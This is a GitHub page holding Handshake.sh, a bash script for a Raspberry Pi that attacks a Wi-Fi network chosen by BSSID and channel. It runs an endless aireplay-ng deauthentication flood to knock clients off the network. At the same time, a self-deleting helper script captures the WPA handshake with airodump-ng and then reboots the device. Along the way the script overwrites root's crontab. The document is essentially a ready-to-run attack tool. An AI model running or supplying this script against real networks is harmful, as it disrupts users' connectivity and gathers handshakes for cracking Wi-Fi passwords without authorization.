-
Notifications
You must be signed in to change notification settings - Fork 0
/
Handshake.sh
40 lines (37 loc) · 1.51 KB
/
Handshake.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash
mon="mon"
path=$(pwd)
file="/nohup.out"
echo "Raspi_Handshake running ..."
echo " "
echo "Enter the BSSID of the target :"
read bssid
echo " "
echo "Enter the channel of the target :"
read chan
echo " "
echo "Enter your network interface name (wlan1 or wlan0 or wlanx ...) : "
read interface
echo " "
echo "Starting ... SSH connection will be broken ! and your ssh client or your Raspi will reboot"
echo "So retablish your ssh connection after rebooting"
echo "Let's catch ! ..."
mkdir ./log/
echo "* * * * * > $path$file" > /var/spool/cron/crontabs/root
sudo airmon-ng check kill >> log_airmon-ng 2>> ./log/log_err_airmong-ng
echo '--------------------------------------' >> ./log/log_airmon-ng
sudo airmon-ng start $interface $chan >> ./log/log_airmon-ng 2>> ./log/log_err_airmon-ng
echo '--------------------------------------' >> ./log/log_airmon-ng
echo "sudo airodump-ng -c $chan --bssid $bssid -w psk $interface$mon &" >> auto_airodump.sh
echo "sudo sleep 10" >> auto_airodump.sh
echo "sudo killall aireplay-ng" >> auto_airodump.sh
echo "sudo sleep 25" >> auto_airodump.sh
echo "sudo killall airodump-ng" >> auto_airodump.sh
echo "sudo airmon-ng stop $interface$mon" >> auto_airodump.sh
echo "sudo service NetworkManager restart" >> auto_airodump.sh
echo "sudo rm -rf auto_airodump.sh" >> auto_airodump.sh
echo "sudo reboot" >> auto_airodump.sh
sudo chmod +x auto_airodump.sh
nohup ./auto_airodump.sh &
sudo aireplay-ng -0 0 -a $bssid $interface$mon >> ./log/log_aireplay 2>> ./log/log_err_aireplay
# Cr34te by N0vachr0n0